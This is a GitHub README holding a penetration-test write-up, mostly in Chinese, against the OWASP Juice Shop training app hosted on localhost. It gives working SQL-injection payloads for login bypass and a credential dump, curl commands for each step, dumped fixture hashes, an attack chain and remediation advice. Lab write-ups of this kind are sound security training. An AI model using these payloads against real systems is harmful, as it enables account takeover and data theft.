Sunil56224972/OWASP-JUICE-SHOP-VULNERBILITIES
GitHub: Sunil56224972/OWASP-JUICE-SHOP-VULNERBILITIES
该项目是一份针对 OWASP Juice Shop 靶场的完整渗透测试报告,详细记录了五个漏洞的发现、利用与攻击链复现过程。
Stars: 1 | Forks: 0
# 🧃 OWASP Juice Shop — 渗透测试报告







## 📋 目录
- [关于目标](#-about-the-target)
- [测试环境](#-test-environment)
- [执行摘要](#-executive-summary)
- [漏洞 1 — SQL 注入绕过认证](#-vuln-01-sql-injection--authentication-bypass-critical)
- [漏洞 2 — SQL 注入转储凭证](#-vuln-02-sql-injection--full-credential-dump-critical)
- [漏洞 3 — 访问控制失效](#-vuln-03-broken-access-control--admin-panel-unauthorized-access-high)
- [漏洞 4 — 敏感文件暴露](#-vuln-04-sensitive-file-exposure--ftp-directory-listing-high)
- [漏洞 5 — 未授权 API 访问](#-vuln-05-unauthenticated-api-access--feedback-data-exposure-medium)
- [攻击链](#-attack-chain)
- [使用工具](#-tools-used)
- [完整 PDF 报告](#-full-report)
## 🎯 关于目标
| 字段 | 详情 |
|-------|---------|
| **应用程序** | OWASP Juice Shop |
| **URL** | `http://localhost:3000` (Docker 托管) |
| **版本** | 最新版 (`bkimminich/juice-shop`) |
| **类型** | 故意设置漏洞的 Web 应用程序 |
| **目的** | 安全训练、CTF、渗透测试练习 |
| **技术栈** | Node.js, Angular, SQLite |
## 🔧 测试环境
```
OS : Windows 11
Docker : OWASP Juice Shop (bkimminich/juice-shop)
Port : 3000
Tools : Playwright MCP, Browser DevTools, curl
Method : Manual exploitation — no automated scanners
```
## 📊 执行摘要
| # | 漏洞 | 严重程度 | CVSS 评分 | 状态 |
|---|--------------|----------|-----------|--------|
| 1 | SQL 注入 — 身份验证绕过 | 🔴 **严重** | 9.8 | ✅ 已利用 |
| 2 | SQL 注入 — 完整凭证转储 | 🔴 **严重** | 9.8 | ✅ 已利用 |
| 3 | 访问控制失效 — 管理面板 | 🟠 **高危** | 7.5 | ✅ 已利用 |
| 4 | 敏感文件暴露 — /ftp | 🟠 **高危** | 7.5 | ✅ 已利用 |
| 5 | 未授权反馈 API | 🟡 **中危** | 6.5 | ✅ 已利用 |
## 🔴 VULN-01: SQL 注入 — 身份验证绕过 `[严重]`
### 概述
登录端点 (`/rest/user/login`) 存在 SQL 注入漏洞,允许攻击者完全绕过身份验证,并在不知道任何密码的情况下以任何用户(包括 admin)的身份登录。
### 详情
| 字段 | 值 |
|-------|-------|
| **端点** | `POST /rest/user/login` |
| **类型** | SQL 注入 — 身份验证绕过 |
| **CVSS** | 9.8 (严重) |
| **影响** | 完全接管 admin 账户 |
### Payload
```
{
"email": "' OR 1=1--",
"password": "anything"
}
```
### 利用证明
```
{
"authentication": {
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9...",
"bid": 1,
"umail": "admin@juice-sh.op"
}
}
```
**结果:** 以角色为 `admin` 的 `admin@juice-sh.op` 身份登录 — 无需任何凭证。
### 复现步骤
```
curl -X POST http://localhost:3000/rest/user/login \
-H "Content-Type: application/json" \
-d '{"email":"'\'' OR 1=1--","password":"anything"}'
```
### 影响
- ⚠️ 无需任何凭证即可完全接管 admin 账户
- ⚠️ 攻击者获得对应用程序的完全控制权
- ⚠️ 所有用户、订单和数据均可被访问
## 🔴 VULN-02: SQL 注入 — 完整凭证转储 `[严重]`
### 概述
产品搜索端点存在基于 UNION 的 SQL 注入漏洞。这允许攻击者从数据库中提取整个 `Users` 表,包括所有注册用户的邮箱和 MD5 密码哈希值。
### 详情
| 字段 | 值 |
|-------|-------|
| **端点** | `GET /rest/products/search?q=` |
| **类型** | SQL 注入 — 基于 UNION 的数据提取 |
| **CVSS** | 9.8 (严重) |
| **影响** | 数据库用户表完全暴露 |
### Payload
```
GET /rest/products/search?q='))UNION SELECT id,email,password,4,5,6,7,8,9 FROM Users--
```
### 证明 — 提取的用户凭证(23 个账户)
| ID | 邮箱 | 密码哈希值 (MD5) |
|----|-------|---------------------|
| 1 | `admin@juice-sh.op` | `0192023a7bbd73250516f069df18b500` |
| 2 | `jim@juice-sh.op` | `e541ca7ecf72b8d1286474fc613e5e45` |
| 3 | `bender@juice-sh.op` | `0c36e517e3fa95aabf1bbffc6744a4ef` |
| 4 | `bjoern.kimminich@gmail.com` | `6edd9d726cbdc873c539e41ae8757b8c` |
| 5 | `ciso@juice-sh.op` | `861917d5fa5f1172f931dc700d81a8fb` |
| 6 | `support@juice-sh.op` | `3869433d74e3d0c86fd25562f836bc82` |
| 7 | `morty@juice-sh.op` | `f2f933d0bb0ba057bc8e33b8ebd6d9e8` |
| 8 | `mc.safesearch@juice-sh.op` | `b03f4b0ba8b458fa0acdc02cdb953bc8` |
| ... | `(还有 15 个用户)` | `(MD5 哈希值)` |
### 复现步骤
```
curl "http://localhost:3000/rest/products/search?q=%27))UNION%20SELECT%20id,email,password,4,5,6,7,8,9%20FROM%20Users--"
```
### 影响
- ⚠️ 所有 23 个用户账户的凭证在一次请求中即被窃取
- ⚠️ MD5 哈希非常脆弱 — 可通过彩虹表瞬间破解
- ⚠️ 攻击者可以接管任何用户账户
## 🟠 VULN-03: 访问控制失效 — 管理面板未授权访问 `[高危]`
### 概述
使用从 VULN-01 获取的 admin JWT token,攻击者可以访问位于 `/#/administration` 的管理面板,并枚举所有注册用户,包括他们的角色、个人资料数据和高级 token。
### 详情
| 字段 | 值 |
|-------|-------|
| **端点** | `GET /#/administration` + `GET /api/Users` |
| **类型** | 访问控制失效 / IDOR |
| **CVSS** | 7.5 (高危) |
| **影响** | 完整的用户枚举、角色泄露、PII 泄露 |
### 利用证明
管理面板被访问 — 所有用户均可见:
```
{
"data": [
{ "id": 1, "email": "admin@juice-sh.op", "role": "admin" },
{ "id": 4, "email": "bjoern.kimminich@gmail.com", "role": "admin" },
{ "id": 5, "email": "ciso@juice-sh.op", "role": "deluxe", "deluxeToken": "d715c2c75d4a42d3..." },
{ "id": 13, "email": "bjoern@owasp.org", "role": "deluxe", "deluxeToken": "efe2f1599e2d9344..." }
]
}
```
**应用程序本身通过横幅确认了该漏洞利用:**
### 影响
- ⚠️ 所有用户邮箱、角色和高级 token 被泄露
- ⚠️ 最后一次登录的 IP 地址被暴露
- ⚠️ 攻击者可以针对特定的高价值账户进行攻击
## 🟠 VULN-04: 敏感文件暴露 — FTP 目录列表 `[高危]`
### 概述
`/ftp` 端点可公开访问,并暴露了包含多个高度敏感文件的目录列表,其中包括 KeePass 密码数据库、机密业务文档和应用程序源码备份。
### 详情
| 字段 | 值 |
|-------|-------|
| **端点** | `GET /ftp` |
| **类型** | 目录列表 / 敏感数据暴露 |
| **CVSS** | 7.5 (高危) |
| **影响** | 机密文件、密码数据库、源码备份被暴露 |
### 证明 — 暴露的文件
导航至 `http://localhost:3000/ftp` 会显示:
```
~/ftp/
├── 📁 quarantine/
├── 📄 acquisitions.md ← CONFIDENTIAL business acquisition plans
├── 📄 announcement_encrypted.md ← Encrypted announcement
├── 📄 coupons_2013.md.bak ← Backup coupon codes
├── 📄 eastere.gg
├── 📄 encrypt.pyc ← Compiled encryption script (source leak)
├── 🔐 incident-support.kdbx ← KeePass PASSWORD DATABASE!
├── 📄 legal.md
├── 📄 package.json.bak ← App dependency backup
├── 📄 package-lock.json.bak ← Full dependency lock file (750 KB)
└── 📄 suspicious_errors.yml
```
### 访问到的机密文档
```
# Planned Acquisitions
> This document is confidential! Do not distribute!
Our company plans to acquire several competitors within the next year.
This will have a significant stock market impact...
```
### 复现步骤
```
# 查看 directory
curl http://localhost:3000/ftp/
# 下载 confidential doc
curl http://localhost:3000/ftp/acquisitions.md
# 下载 KeePass password database
curl http://localhost:3000/ftp/incident-support.kdbx -o passwords.kdbx
```
### 影响
- ⚠️ `incident-support.kdbx` — 任何人都可以下载的 KeePass 密码数据库
- ⚠️ 可以访问机密的收购战略文档
- ⚠️ `encrypt.pyc` — 编译后的加密脚本暴露了实现细节
- ⚠️ `package.json.bak` — 依赖列表可帮助攻击者发现存在漏洞的包
## 🟡 VULN-05: 未授权 API 访问 — 反馈数据暴露 `[中危]`
### 概述
`/api/Feedbacks` 端点无需任何身份验证即可访问,并返回所有用户反馈,包括部分邮箱地址。其中一条反馈包含一个**加密货币钱包助记词** — 这是一个 12 个单词的恢复短语,可完全访问加密钱包。
### 详情
| 字段 | 值 |
|-------|-------|
| **端点** | `GET /api/Feedbacks` |
| **类型** | 访问控制失效 — 缺少身份验证 |
| **CVSS** | 6.5 (中危) |
| **影响** | 用户 PII 泄露,加密钱包助记词被暴露 |
### 证明 — 加密钱包助记词被暴露
```
{
"UserId": 21,
"comment": "Please send me the juicy chatbot NFT in my wallet at /juicy-nft :
\"purpose betray marriage blame crunch monitor spin slide
donate sport lift clutch\" (***ereum@juice-sh.op)",
"rating": 1
}
```
### 复现步骤
```
# 无需 authentication!
curl http://localhost:3000/api/Feedbacks
```
### 影响
- ⚠️ 在未登录的情况下暴露了用户 ID 和部分邮箱
- ⚠️ 加密货币钱包助记词可被公开访问
- ⚠️ 攻击者可以掏空受害者的加密钱包
## 🔗 攻击链
```
┌─────────────────────────────────────────────────────────────────┐
│ FULL ATTACK CHAIN │
└─────────────────────────────────────────────────────────────────┘
STEP 1: Recon
└── GET /ftp → Directory listing exposed
├── Download acquisitions.md (confidential)
└── Download incident-support.kdbx (password DB)
STEP 2: SQL Injection — Credential Dump
└── GET /rest/products/search?q='))UNION SELECT...FROM Users--
└── 23 user emails + MD5 hashes extracted
STEP 3: SQL Injection — Auth Bypass
└── POST /rest/user/login with ' OR 1=1--
└── Admin JWT token obtained
STEP 4: Privilege Escalation
└── GET /api/Users (with admin token)
└── All user roles, PII, deluxe tokens dumped
STEP 5: Admin Panel Access
└── GET /#/administration
└── Full admin panel — all users, orders accessible
STEP 6: Bonus — API Exposure
└── GET /api/Feedbacks (no auth needed)
└── Crypto wallet seed phrase leaked
```
## 🛠️ 使用工具
| 工具 | 用途 |
|------|-------|
| **Playwright MCP** | 浏览器自动化、API 测试、截图 |
| **browser_evaluate** | 用于 fetch() API 调用的 JavaScript 注入 |
| **browser_navigate** | 导航至存在漏洞的端点 |
| **browser_take_screenshot** | 捕获漏洞利用的证明 |
| **PowerShell (curl)** | 手动 HTTP 请求测试 |
| **Docker** | 在本地托管目标应用程序 |
## 🖼️ 视觉证明

### 所有漏洞一览

### 深色卡片摘要

### 专业报告卡片

### 浏览器漏洞利用证明

## 📄 完整报告
📥 **[下载完整 PDF 报告](OWASP_Juice_Shop_Vulnerability_Report.pdf)**
该 PDF 包含了所有 5 个漏洞的完整技术细节、截图和修复建议。
## 🛡️ 修复建议
| # | 漏洞 | 修复 |
|---|--------------|-----|
| 1 | SQL 注入认证绕过 | 使用参数化查询 / 预处理语句 |
| 2 | SQL 注入凭证转储 | 输入验证 + 参数化查询 |
| 3 | 访问控制失效 | 在所有 API 端点上强制执行基于角色的访问控制 (RBAC) |
| 4 | FTP 文件暴露 | 移除公开的 FTP 访问;将敏感文件限制在身份验证之后 |
| 5 | 未授权 API | 在所有 `/api/*` 端点上要求身份验证 |
## ⚠️ 免责声明
**Made with ❤️ by Sunil Nath Jogi**



标签:CISA项目, HTTP工具, MITM代理, Web安全, 安全测试报告, 蓝队分析, 访问控制绕过, 请求拦截